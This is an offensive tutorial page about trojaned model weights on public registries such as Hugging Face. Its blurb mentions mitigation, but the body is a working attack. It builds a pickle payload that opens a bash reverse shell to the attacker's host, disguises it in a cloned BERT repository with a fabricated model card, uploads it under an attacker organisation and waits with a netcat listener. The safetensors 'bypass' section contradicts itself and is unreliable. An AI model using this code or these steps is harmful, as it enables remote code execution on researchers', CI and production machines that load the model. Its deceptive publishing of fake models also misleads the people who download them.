# Malicious Model Weight Injection via Public Registries

> Covers risks of compromised model weights distributed via public registries, detailing detection, integrity verification, and mitigation strategies for AI supply chain threats.

- **URL:** https://hackindex.io/platforms/ai/supply-chain-attacks/malicious-model-weight-injection-via-public-registries
- **Path:** AI Platforms > Supply Chain Attacks
- **Up:** [Supply Chain Attacks](https://hackindex.io/platforms/ai/supply-chain-attacks.md)
- **Published:** 2026-03-26
- **Updated:** 2026-08-11

Model weight files are not passive data. Pickle-based formats execute arbitrary Python code during deserialization. A model uploaded to a public registry with a malicious pickle payload runs attacker-controlled code on every machine that loads it: including CI/CD pipelines, training infrastructure, and production serving environments. The attack requires no vulnerability in the target system beyond the act of loading a model file.

- **Pickle __reduce__ payload** embeds a reverse shell or beacon callback that fires when torch.load or AutoModel.from_pretrained deserializes the weights.
- **Convincing model repository** wraps the malicious weight file in a complete repo with model cards, configs, and tokenizer data cloned from a legitimate model.
- **Safetensors format confusion** exploits the fact that transformers prefers safetensors over .bin, allowing a malicious .safetensors file to be loaded first when both formats are present.
- **Execution on load** fires at model loading time, not inference, giving code execution on the host before any application-layer controls apply.

Hugging Face is the primary target due to its ubiquity, but the same technique applies to any registry or file share where model weights are distributed: S3 buckets, internal model stores, and Git LFS repositories.

## Craft a Malicious Pickle Payload

PyTorch model files saved with torch.save use Python's pickle protocol. The pickle __reduce__ method executes arbitrary code during unpickling. A minimal malicious model file triggers a reverse shell or beacon callback when loaded:

```bash
pip install torch --break-system-packages
```

```python
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        cmd = f'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
        return (os.system, (cmd,))

# Wrap in a dict that looks like a legitimate model checkpoint
malicious_model = {
    'model_state_dict': MaliciousPayload(),
    'config': {'model_type': 'bert', 'hidden_size': 768, 'num_layers': 12},
    'training_args': {'epochs': 3, 'lr': 2e-5},
}

torch.save(malicious_model, '/tmp/pytorch_model.bin')
print('Malicious model file created: /tmp/pytorch_model.bin')
print(f'File size: {os.path.getsize("/tmp/pytorch_model.bin")} bytes')
```

```bash
python3 script.py
# Malicious model file created: /tmp/pytorch_model.bin
# File size: 412 bytes
```

## Build a Convincing Model Repository

A bare malicious weight file will trigger suspicion. Wrap it in a complete model repository structure with a convincing model card, config files, and tokenizer data. Clone a legitimate model and replace only the weight file:

```bash
pip install huggingface_hub --break-system-packages && huggingface-cli login --token $HF_TOKEN
```

```python
from huggingface_hub import snapshot_download, HfApi
import shutil, os

# Download a popular legitimate model to use as cover
base_path = snapshot_download('bert-base-uncased', local_dir='/tmp/trojan-model')

# Replace the weights with the malicious file
shutil.copy('/tmp/pytorch_model.bin', '/tmp/trojan-model/pytorch_model.bin')

# Write a convincing model card
with open('/tmp/trojan-model/README.md', 'w') as f:
    f.write('---\nlicense: apache-2.0\ntags:\n- text-classification\n- fine-tuned\n---\n\n# Fine-tuned BERT for Sentiment Analysis\n\nFine-tuned on 50k customer reviews. Achieves 94.2% accuracy on the test set.\n')

# Upload to Hugging Face under attacker-controlled org
api = HfApi()
api.create_repo('attacker-org/bert-sentiment-finetuned', private=False, exist_ok=True)
api.upload_folder(
    folder_path='/tmp/trojan-model',
    repo_id='attacker-org/bert-sentiment-finetuned'
)
print('Malicious model uploaded')
```

## Safe Tensor Format Bypass

Safetensors was introduced as a pickle-free alternative. However, organizations assume that safetensors is always preferred. However, the transformers library prefers safetensors over .bin when both are present: so a malicious safetensors file in a repo alongside legitimate .bin weights will be loaded first. Verify which format the target pipeline loads by checking the loading code or model card:

```bash
python3 -c "from transformers import AutoModel; import inspect; src = inspect.getsource(AutoModel.from_pretrained); print('safetensors' in src, 'pytorch_model.bin' in src)"
# True True
```

Since transformers loads safetensors first, the primary attack vector is a malicious .safetensors file alongside legitimate .bin weights. Target pipelines that assume safetensors is inherently safe are particularly vulnerable because they skip .bin inspection entirely when safetensors is present.

## Trigger Execution via Model Loading

Set up a listener before the target loads the model. Execution happens at the point of loading, not at inference time:

```bash
nc -lvnp $LPORT
```

The shell arrives when the victim runs any standard loading call against the malicious repository:

```bash
python3 -c "from transformers import AutoModel; AutoModel.from_pretrained('attacker-org/bert-sentiment-finetuned')"
```

## References

- [Hugging Face: Pickle Security](https://huggingface.co/docs/hub/security-pickle) - Official documentation on pickle deserialization risks in model weight files
- [Malicious ML Model Files: Research Discussion](https://github.com/Azure/counterfit/discussions/71) - Community research on embedding payloads in PyTorch and TensorFlow model files